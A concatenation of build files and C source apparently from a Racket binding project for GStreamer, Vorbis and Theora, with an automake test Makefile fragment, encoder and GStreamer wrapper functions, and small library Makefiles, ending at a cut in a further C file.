$(AM_CFLAGS) $(CFLAGS) -MT simple-launch-lines.obj -MD -MP -MF $(DEPDIR)/simple-launch-lines.Tpo -c -o simple-launch-lines.obj `if test -f 'pipelines/simple-launch-lines.c'; then $(CYGPATH_W) 'pipelines/simple-launch-lines.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/simple-launch-lines.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/simple-launch-lines.Tpo $(DEPDIR)/simple-launch-lines.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/simple-launch-lines.c' object='simple-launch-lines.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o simple-launch-lines.obj `if test -f 'pipelines/simple-launch-lines.c'; then $(CYGPATH_W) 'pipelines/simple-launch-lines.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/simple-launch-lines.c'; fi` stress.o: pipelines/stress.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT stress.o -MD -MP -MF $(DEPDIR)/stress.Tpo -c -o stress.o `test -f 'pipelines/stress.c' || echo '$(srcdir)/'`pipelines/stress.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/stress.Tpo $(DEPDIR)/stress.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/stress.c' object='stress.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o stress.o `test -f 'pipelines/stress.c' || echo '$(srcdir)/'`pipelines/stress.c stress.obj: pipelines/stress.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT stress.obj -MD -MP -MF $(DEPDIR)/stress.Tpo -c -o stress.obj `if test -f 'pipelines/stress.c'; then $(CYGPATH_W) 'pipelines/stress.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/stress.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/stress.Tpo $(DEPDIR)/stress.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='pipelines/stress.c' object='stress.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o stress.obj `if test -f 'pipelines/stress.c'; then $(CYGPATH_W) 'pipelines/stress.c'; else $(CYGPATH_W) '$(srcdir)/pipelines/stress.c'; fi` mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs -rm -rf elements/.libs elements/_libs -rm -rf generic/.libs generic/_libs -rm -rf gst/.libs gst/_libs -rm -rf libs/.libs libs/_libs -rm -rf pipelines/.libs pipelines/_libs ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags check-TESTS: $(TESTS) @failed=0; all=0; xfail=0; xpass=0; skip=0; \ srcdir=$(srcdir); export srcdir; \ list=' $(TESTS) '; \ $(am__tty_colors); \ if test -n "$$list"; then \ for tst in $$list; do \ if test -f ./$$tst; then dir=./; \ elif test -f $$tst; then dir=; \ else dir="$(srcdir)/"; fi; \ if $(TESTS_ENVIRONMENT) $${dir}$$tst; then \ all=`expr $$all + 1`; \ case " $(XFAIL_TESTS) " in \ *[\ \ ]$$tst[\ \ ]*) \ xpass=`expr $$xpass + 1`; \ failed=`expr $$failed + 1`; \ col=$$red; res=XPASS; \ ;; \ *) \ col=$$grn; res=PASS; \ ;; \ esac; \ elif test $$? -ne 77; then \ all=`expr $$all + 1`; \ case " $(XFAIL_TESTS) " in \ *[\ \ ]$$tst[\ \ ]*) \ xfail=`expr $$xfail + 1`; \ col=$$lgn; res=XFAIL; \ ;; \ *) \ failed=`expr $$failed + 1`; \ col=$$red; res=FAIL; \ ;; \ esac; \ else \ skip=`expr $$skip + 1`; \ col=$$blu; res=SKIP; \ fi; \ echo "$${col}$$res$${std}: $$tst"; \ done; \ if test "$$all" -eq 1; then \ tests="test"; \ All=""; \ else \ tests="tests"; \ All="All "; \ fi; \ if test "$$failed" -eq 0; then \ if test "$$xfail" -eq 0; then \ banner="$$All$$all $$tests passed"; \ else \ if test "$$xfail" -eq 1; then failures=failure; else failures=failures; fi; \ banner="$$All$$all $$tests behaved as expected ($$xfail expected $$failures)"; \ fi; \ else \ if test "$$xpass" -eq 0; then \ banner="$$failed of $$all $$tests failed"; \ else \ if test "$$xpass" -eq 1; then passes=pass; else passes=passes; fi; \ banner="$$failed of $$all $$tests did not behave as expected ($$xpass unexpected $$passes)"; \ fi; \ fi; \ dashes="$$banner"; \ skipped=""; \ if test "$$skip" -ne 0; then \ if test "$$skip" -eq 1; then \ skipped="($$skip test was not run)"; \ else \ skipped="($$skip tests were not run)"; \ fi; \ test `echo "$$skipped" | wc -c` -le `echo "$$banner" | wc -c` || \ dashes="$$skipped"; \ fi; \ report=""; \ if test "$$failed" -ne 0 && test -n "$(PACKAGE_BUGREPORT)"; then \ report="Please report to $(PACKAGE_BUGREPORT)"; \ test `echo "$$report" | wc -c` -le `echo "$$banner" | wc -c` || \ dashes="$$report"; \ fi; \ dashes=`echo "$$dashes" | sed s/./=/g`; \ if test "$$failed" -eq 0; then \ echo "$$grn$$dashes"; \ else \ echo "$$red$$dashes"; \ fi; \ echo "$$banner"; \ test -z "$$skipped" || echo "$$skipped"; \ test -z "$$report" || echo "$$report"; \ echo "$$dashes$$std"; \ test "$$failed" -eq 0; \ else :; fi distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS) $(MAKE) $(AM_MAKEFLAGS) check-TESTS check: check-am all-am: Makefile $(PROGRAMS) $(HEADERS) installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: -test -z "$(CLEANFILES)" || rm -f $(CLEANFILES) distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) -rm -f elements/$(am__dirstamp) -rm -f generic/$(am__dirstamp) -rm -f gst/$(am__dirstamp) -rm -f libs/$(am__dirstamp) -rm -f pipelines/$(am__dirstamp) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-checkPROGRAMS clean-generic clean-libtool clean-local \ clean-noinstPROGRAMS mostlyclean-am distclean: distclean-am -rm -rf ./$(DEPDIR) -rm -f Makefile distclean-am: clean-am distclean-compile distclean-generic \ distclean-tags dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -rf ./$(DEPDIR) -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-compile mostlyclean-generic \ mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: check-am install-am install-strip .PHONY: CTAGS GTAGS all all-am check check-TESTS check-am clean \ clean-checkPROGRAMS clean-generic clean-libtool clean-local \ clean-noinstPROGRAMS ctags distclean distclean-compile \ distclean-generic distclean-libtool distclean-tags distdir dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-man install-pdf \ install-pdf-am install-ps install-ps-am install-strip \ installcheck installcheck-am installdirs maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-compile \ mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ tags uninstall uninstall-am # keep target around, since it's referenced in the modules' Makefiles clean-local-check: @echo # hangs spectacularly on some machines, so let's not do this by default yet @HAVE_VALGRIND_TRUE@check-valgrind: @HAVE_VALGRIND_TRUE@ $(MAKE) valgrind @HAVE_VALGRIND_FALSE@check-valgrind: @HAVE_VALGRIND_FALSE@ @true # run any given test by running make test.check # if the test fails, run it again at at least debug level 2 %.check: % @$(TESTS_ENVIRONMENT) \ CK_DEFAULT_TIMEOUT=20 \ $* || \ $(TESTS_ENVIRONMENT) \ GST_DEBUG=$$GST_DEBUG,*:2 \ CK_DEFAULT_TIMEOUT=20 \ $* # run any given test in a loop %.torture: % @for i in `seq 1 $(LOOPS)`; do \ $(TESTS_ENVIRONMENT) \ CK_DEFAULT_TIMEOUT=20 \ $*; done # run any given test in an infinite loop %.forever: % @while true; do \ $(TESTS_ENVIRONMENT) \ CK_DEFAULT_TIMEOUT=20 \ $* || break; done # valgrind any given test by running make test.valgrind %.valgrind: % @$(TESTS_ENVIRONMENT) \ CK_DEFAULT_TIMEOUT=360 \ G_SLICE=always-malloc \ $(LIBTOOL) --mode=execute \ $(VALGRIND_PATH) -q \ $(foreach s,$(SUPPRESSIONS),--suppressions=$(s)) \ --tool=memcheck --leak-check=full --trace-children=yes \ --leak-resolution=high --num-callers=20 \ ./$* 2>&1 | tee valgrind.log @if grep "==" valgrind.log > /dev/null 2>&1; then \ rm valgrind.log; \ exit 1; \ fi @rm valgrind.log # valgrind any given test and generate suppressions for it %.valgrind.gen-suppressions: % @$(TESTS_ENVIRONMENT) \ CK_DEFAULT_TIMEOUT=360 \ G_SLICE=always-malloc \ $(LIBTOOL) --mode=execute \ $(VALGRIND_PATH) -q \ $(foreach s,$(SUPPRESSIONS),--suppressions=$(s)) \ --tool=memcheck --leak-check=full --trace-children=yes \ --leak-resolution=high --num-callers=20 \ --gen-suppressions=all \ ./$* 2>&1 | tee suppressions.log # valgrind any given test until failure by running make test.valgrind-forever %.valgrind-forever: % @while $(MAKE) $*.valgrind; do \ true; done # gdb any given test by running make test.gdb %.gdb: % @$(TESTS_ENVIRONMENT) \ CK_FORK=no \ $(LIBTOOL) --mode=execute \ gdb $* # torture tests torture: $(TESTS) -rm test-registry.xml @echo "Torturing tests ..." @for i in `seq 1 $(LOOPS)`; do \ $(MAKE) check || \ (echo "Failure after $$i runs"; exit 1) || \ exit 1; \ done @banner="All $(LOOPS) loops passed"; \ dashes=`echo "$$banner" | sed s/./=/g`; \ echo $$dashes; echo $$banner; echo $$dashes # forever tests forever: $(TESTS) -rm test-registry.xml @echo "Forever tests ..." @while true; do \ $(MAKE) check || \ (echo "Failure"; exit 1) || \ exit 1; \ done # valgrind all tests valgrind: $(TESTS) @echo "Valgrinding tests ..." @failed=0; \ for t in $(filter-out $(VALGRIND_TESTS_DISABLE),$(TESTS)); do \ $(MAKE) $$t.valgrind; \ if test "$$?" -ne 0; then \ echo "Valgrind error for test $$t"; \ failed=`expr $$failed + 1`; \ whicht="$$whicht $$t"; \ fi; \ done; \ if test "$$failed" -ne 0; then \ echo "$$failed tests had leaks or errors under valgrind:"; \ echo "$$whicht"; \ false; \ fi # valgrind all tests and generate suppressions valgrind.gen-suppressions: $(TESTS) @echo "Valgrinding tests ..." @failed=0; \ for t in $(filter-out $(VALGRIND_TESTS_DISABLE),$(TESTS)); do \ $(MAKE) $$t.valgrind.gen-suppressions; \ if test "$$?" -ne 0; then \ echo "Valgrind error for test $$t"; \ failed=`expr $$failed + 1`; \ whicht="$$whicht $$t"; \ fi; \ done; \ if test "$$failed" -ne 0; then \ echo "$$failed tests had leaks or errors under valgrind:"; \ echo "$$whicht"; \ false; \ fi inspect: @echo "Inspecting features ..." @for e in `$(TESTS_ENVIRONMENT) $(GST_INSPECT) | head -n -2 \ | cut -d: -f2`; \ do echo Inspecting $$e; \ $(GST_INSPECT) $$e > /dev/null 2>&1; done help: @echo @echo "make check -- run all checks" @echo "make torture -- run all checks $(LOOPS) times" @echo "make (dir)/(test).check -- run the given check once" @echo "make (dir)/(test).forever -- run the given check forever" @echo "make (dir)/(test).torture -- run the given check $(LOOPS) times" @echo @echo "make (dir)/(test).gdb -- start up gdb for the given test" @echo @echo "make valgrind -- valgrind all tests" @echo "make valgrind.gen-suppressions -- generate suppressions for all tests" @echo " and save to suppressions.log" @echo "make (dir)/(test).valgrind -- valgrind the given test" @echo "make (dir)/(test).valgrind-forever -- valgrind the given test forever" @echo "make (dir)/(test).valgrind.gen-suppressions -- generate suppressions" @echo " and save to suppressions.log" @echo "make inspect -- inspect all plugin features" @echo @echo @echo "Additionally, you can use the GST_CHECKS environment variable to" @echo "specify which test(s) should be run. This is useful if you are" @echo "debugging a failure in one particular test, or want to reproduce" @echo "a race condition in a single test." @echo @echo "Examples:" @echo @echo " GST_CHECKS=test_this,test_that make element/foobar.check" @echo " GST_CHECKS=test_many_threads make element/foobar.forever" @echo # override to _not_ install the test plugins install-pluginLTLIBRARIES: clean-local: clean-local-check debug: echo $(COVERAGE_FILES) echo $(COVERAGE_FILES_REL) .PHONY: coverage # we rebuild a registry and do gst-inspect so that all the get/set codepaths # are also covered @GST_GCOV_ENABLED_TRUE@coverage: @GST_GCOV_ENABLED_TRUE@ for file in `find $(top_builddir) -name '*.gcda'`; do rm $$file; done @GST_GCOV_ENABLED_TRUE@ -rm $(CHECK_REGISTRY) @GST_GCOV_ENABLED_TRUE@ echo "Inspecting all elements" @GST_GCOV_ENABLED_TRUE@ for e in `$(GST_INSPECT) | head -n -2 | cut -d: -f2`; do $(GST_INSPECT) $$e > /dev/null 2>&1; done @GST_GCOV_ENABLED_TRUE@ make check @GST_GCOV_ENABLED_TRUE@ make coverage-report @GST_GCOV_ENABLED_FALSE@coverage: @GST_GCOV_ENABLED_FALSE@ echo "You need to configure with --enable-gcov to get coverage data" @GST_GCOV_ENABLED_FALSE@ exit 1 coverage-report: rm -r coverage for dir in $(COVERAGE_DIRS); do \ mkdir -p coverage/$$dir; \ make -C $(top_builddir)/$$dir gcov; \ done for dir in $(COVERAGE_DIRS); do \ files="`ls $(top_builddir)/$$dir/*.gcov.out 2> /dev/null`"; \ if test ! -z "$$files"; then \ perl $(top_srcdir)/common/coverage/coverage-report.pl \ $(top_builddir)/$$dir/*.gcov.out > \ coverage/$$dir/index.xml; \ xsltproc $(top_srcdir)/common/coverage/coverage-report.xsl \ coverage/$$dir/index.xml > coverage/$$dir/index.html; \ fi; \ done for file in $(COVERAGE_FILES_REL); do \ echo Generating coverage/$$file.html; \ perl $(top_srcdir)/common/coverage/coverage-report-entry.pl \ $(top_builddir)/$$file > coverage/$$file.html; \ done # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: <file_sep>#include <stdio.h> #include <stdlib.h> #include <vorbis/codec.h> #include <vorbis/vorbisenc.h> #include "conversions.h" #include "ogg.h" long SAMPLE_BUFFER_SIZE = 100000; typedef struct { vorbis_info* vi; vorbis_comment* vc; vorbis_dsp_state* vd; vorbis_block* vb; ogg_packet *op; int is_init; int channels; int rate; float quality; float *sample_buffer; } vorbisenc; typedef enum { VORBIS_ID_PACKET, VORBIS_COMMENT_PACKET, VORBIS_CODEBOOK_PACKET, VORBIS_DATA_PACKET } vorbis_packet_type; typedef enum { VORBIS_NAIVE, VORBIS_NTOH } vorbis_byte_conversion_type; typedef int (*vorbisenc_process_packet_ft) (ogg_packet* p, vorbis_packet_type t); int vorbisenc_is_init (vorbisenc* enc) { return enc->is_init; } vorbisenc* vorbisenc_new (int channels, int rate, float quality) { vorbisenc* enc; enc = malloc (sizeof (vorbisenc)); enc->vi = malloc (sizeof (vorbis_info)); enc->vc = malloc (sizeof (vorbis_comment)); enc->vd = malloc (sizeof (vorbis_dsp_state)); enc->vb = malloc (sizeof (vorbis_block)); enc->op = ogg_packet_new (); enc->is_init = 0; enc->channels = channels; enc->rate = rate; enc->quality = quality; enc->sample_buffer = calloc (SAMPLE_BUFFER_SIZE, sizeof (float)); /* step 1 */ vorbis_info_init (enc->vi); vorbis_encode_init_vbr (enc->vi, channels, rate, 1.0); /* step 2 */ vorbis_analysis_init (enc->vd, enc->vi); vorbis_block_init (enc->vd, enc->vb); /* step 3a */ vorbis_comment_init (enc->vc); return enc; } vorbisenc* vorbisenc_init (int channels, int rate, float quality, vorbisenc_process_packet_ft f) { int r; ogg_packet id; ogg_packet comment; ogg_packet codebook; vorbisenc* enc; enc = vorbisenc_new (channels, rate, quality); /* step 3b */ r = vorbis_analysis_headerout (enc->vd, enc->vc, &id, &comment, &codebook); if (r == 0) { f (&id, VORBIS_ID_PACKET); f (&comment, VORBIS_COMMENT_PACKET); f (&codebook, VORBIS_CODEBOOK_PACKET); /* step 4 */ enc->is_init = 1; } return enc; } int vorbisenc_encode_pcm_samples (vorbisenc* enc, unsigned char* buffer, long buffer_length, vorbis_byte_conversion_type b, vorbisenc_process_packet_ft f) { int r; /* error signals */ long i, j, size; float **vorbis_input, *samples = enc->sample_buffer; /*switch (b) { case VORBIS_NAIVE: size = bstofs_naive (buffer, buffer_length, enc->channels, samples); break; default: size = bstofs_ntoh (buffer, buffer_length, enc->channels, samples); break; }*/ /* step 5.1 */ samples = (float *) buffer; size = buffer_length / (enc->channels * sizeof (float)); vorbis_input = vorbis_analysis_buffer (enc->vd, size); /* this deinterleaves the samples: assume they were interleaved in the input buffer */ for (i = 0; i < size; i++) { for (j = 0; j < enc->channels; j++) { vorbis_input[j][i] = *samples++; } } if ((r = vorbis_analysis_wrote (enc->vd, size)) < 0) { printf ("sample encoding failed, ct = %ld, error = %d\n", size, r); return r; } /* step 5.2 */ while (vorbis_analysis_blockout (enc->vd, enc->vb)) { /* step 5.2.1 */ r = vorbis_analysis (enc->vb, NULL); if (r < 0) { break; } else { /* 5.2.2 and 5.2.3 */ vorbis_bitrate_addblock (enc->vb); while (vorbis_bitrate_flushpacket (enc->vd, enc->op)) { f (enc->op, VORBIS_DATA_PACKET); } /* don't free unowned memory in ogg_packet_delete if it's called after this func returns since the op's buffer points to libvorbis memory */ enc->op->packet = NULL; enc->op->bytes = 0; } } if (r < 0) { printf ("sample encoding failed, ct = %ld, error = %d\n", size, r); return r; } return 1; } /* FIXME: implement step 6, end of stream packet generation */ void vorbisenc_delete (vorbisenc* enc) { if (!enc) return; free (enc->sample_buffer); /* step 7 */ if (enc->is_init) { vorbis_block_clear (enc->vb); } vorbis_dsp_clear (enc->vd); vorbis_comment_clear (enc->vc); vorbis_info_clear (enc->vi); ogg_packet_delete (enc->op); free (enc->vb); free (enc->vd); free (enc->vc); free (enc->vi); free (enc); } <file_sep>SONAME = libracket-theora-wrapper.so VERSION_MAJOR = 1 VERSION_FULL = 1.0 LDFLAGS = -Wl,-soname,$(SONAME).$(VERSION_MAJOR) CFLAGS = -fPIC -c -g -O3 -Wall LIBDEPS = $$(pkg-config --cflags --libs theora theoraenc theoradec sdl) all: so so: dec.o enc.o v4l2.o cc -shared $(LDFLAGS) -o $(SONAME).$(VERSION_FULL) $(LIBDEPS) $^ %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(SONAME).$(VERSION_FULL) $(RACKET_LIBS) ln -sf $(RACKET_LIBS)/$(SONAME).$(VERSION_FULL) \ $(RACKET_LIBS)/$(SONAME) ln -sf $(RACKET_LIBS)/$(SONAME).$(VERSION_FULL) \ $(RACKET_LIBS)/$(SONAME).$(VERSION_MAJOR) clean: rm -rf *.o rm -rf $(SONAME).$(VERSION_FULL) .PHONY: all so clean install <file_sep>#include <gst/gst.h> #include <gst/gstmessage.h> #include <glib.h> #include <stddef.h> void on_pad_added (GstElement *element, GstPad *pad, gpointer data) { GstPad *sinkpad; GstElement *decoder = (GstElement *) data; g_print ("Dynamic pad created, linking demuxer/decoder\n"); sinkpad = gst_element_get_static_pad (decoder, "sink"); gst_pad_link (pad, sinkpad); gst_object_unref (sinkpad); } typedef void (*VoidMessageType) (GstMessage *message); void signal_connect_message (gpointer instance, gchar* detailed_signal, VoidMessageType handler, gpointer data) { g_signal_connect (instance, detailed_signal, G_CALLBACK (handler), data); } void signal_connect_pad_added (GstElement* e1, GstElement* e2) { g_signal_connect (e1, "pad-added", G_CALLBACK (on_pad_added), e2); } int gst_message_type (GstMessage* m) { return GST_MESSAGE_CAST(m)->type; } void gst_message_unref_w (GstMessage* m) { gst_message_unref(m); } void print_gst_time_format (gint64 pos, gint64 len) { g_print ("Time: %" GST_TIME_FORMAT " / %" GST_TIME_FORMAT "\r", GST_TIME_ARGS (pos), GST_TIME_ARGS (len)); } int pointer_is_null (void* ptr){ if (ptr == NULL) { return 1; } else { return 0; } } /* GETTERS AND SETTERS */ int get_GstBin_numchildren (GstBin* b){ return b->numchildren; } gchar* get_GstElement_name (GstElement* elem){ return gst_element_get_name(elem); } gchar* get_GstPad_name (GstPad* pad){ return gst_pad_get_name(pad); } void set_Gst_Buffer_Size (GstBuffer* buffer, int bytes){ GST_BUFFER_SIZE (buffer) = bytes; } int get_Gst_Buffer_Size (GstBuffer* buffer){ return GST_BUFFER_SIZE (buffer); } void set_Gst_Buffer_Data (GstBuffer* buffer, guint8* data) { GST_BUFFER_DATA(buffer) = data; } guint8 get_Gst_Buffer_Data (GstBuffer* buffer) { return GST_BUFFER_DATA(buffer); } void set_Gst_Buffer_Mallocdata (GstBuffer* buffer, guint8* data) { GST_BUFFER_MALLOCDATA(buffer) = data; } guint8 get_Gst_Buffer_Mallocdata (GstBuffer* buffer) { return GST_BUFFER_MALLOCDATA(buffer); } void set_Gst_Buffer_Offset (GstBuffer* buffer, guint offset) { GST_BUFFER_OFFSET(buffer) = offset; } guint8 get_Gst_Buffer_Offset (GstBuffer* buffer) { return GST_BUFFER_OFFSET(buffer); } void set_Gst_Buffer_Offset_End (GstBuffer* buffer, guint offset){ GST_BUFFER_OFFSET_END(buffer) = offset; } guint8 get_Gst_Buffer_Offset_End (GstBuffer* buffer){ return GST_BUFFER_OFFSET_END(buffer); } void set_Gst_Buffer_Timestamp (GstBuffer* buffer, GstClockTime nanoseconds){ GST_BUFFER_TIMESTAMP(buffer) = nanoseconds; } GstClockTime get_Gst_Buffer_Timestamp (GstBuffer* buffer){ return GST_BUFFER_TIMESTAMP(buffer); } void set_Gst_Buffer_Caps (GstBuffer* buffer, GstCaps* caps){ GST_BUFFER_CAPS(buffer) = caps; } GstCaps* get_Gst_Buffer_Caps (GstBuffer* buffer){ return GST_BUFFER_CAPS(buffer); } gchar* get_Gst_Pad_Template_Name_Template (GstPadTemplate* templ){ return GST_PAD_TEMPLATE_NAME_TEMPLATE(templ); } gchar* get_gst_element_get_name (GstElement* elem){ return gst_element_get_name(elem); } void set_gst_element_set_name (GstElement* elem, gchar* name){ gst_element_set_name(elem,name); } int get_Gst_State (GstElement* elem){ return GST_STATE(elem); } int get_Gst_State_Next (GstElement* elem){ return GST_STATE_NEXT(elem); } int get_Gst_State_Return (GstElement* elem){ return GST_STATE_RETURN(elem); } gchar* get_gst_pad_get_name (GstPad* pad){ return gst_pad_get_name(pad); } int get_Gst_Version_Major (){ return GST_VERSION_MAJOR; } int get_Gst_Version_Minor (){ return GST_VERSION_MINOR; } int get_Gst_Version_Micro (){ return GST_VERSION_MICRO; } int get_Gst_Version_Nano (){ return GST_VERSION_NANO; } guint32 get_GST_CORE_ERROR(){ return GST_CORE_ERROR; } guint32 get_GST_LIBRARY_ERROR(){ return GST_LIBRARY_ERROR; } guint32 get_GST_RESOURCE_ERROR(){ return GST_RESOURCE_ERROR; } guint32 get_GST_STREAM_ERROR(){ return GST_STREAM_ERROR; } guint32 get_GST_ERROR_SYSTEM(){ return GST_ERROR_SYSTEM; } uint get_gst_caps_refcount(GstCaps* caps){ return GST_CAPS_REFCOUNT(caps); } GType get_gst_type_fourcc(){ return GST_TYPE_FOURCC; } guint32 get_gst_make_fourcc(char a, char b, char c, char d){ return GST_MAKE_FOURCC(a,b,c,d); } GstStaticCaps* get_gst_static_caps (gchar* string){ GstStaticCaps the_caps = GST_STATIC_CAPS (string); GstStaticCaps *caps = malloc(sizeof (GstStaticCaps)); *caps = the_caps; return caps; } <file_sep>CFLAGS = -fPIC -g -c -Wall $$(pkg-config --cflags --libs gstreamer-0.10) LDFLAGS = -shared -soname SONAME = libracket-gst.so VERSION_MAJOR = 1 VERSION_FULL = 1.0 all: so so: wrap.o ld $(LDFLAGS) $(SONAME).$(VERSION_MAJOR) -o $(SONAME).$(VERSION_FULL) -lc $^ %.o: %.c cc $(CFLAGS) -o $@ $< install: cp $(SONAME).$(VERSION_FULL) $(RACKET_LIBS) clean: rm -rf *.o rm -rf $(SONAME).$(VERSION_FULL) .PHONY: all so clean install <file_sep>#include <errno.h> #include <string.h> #include 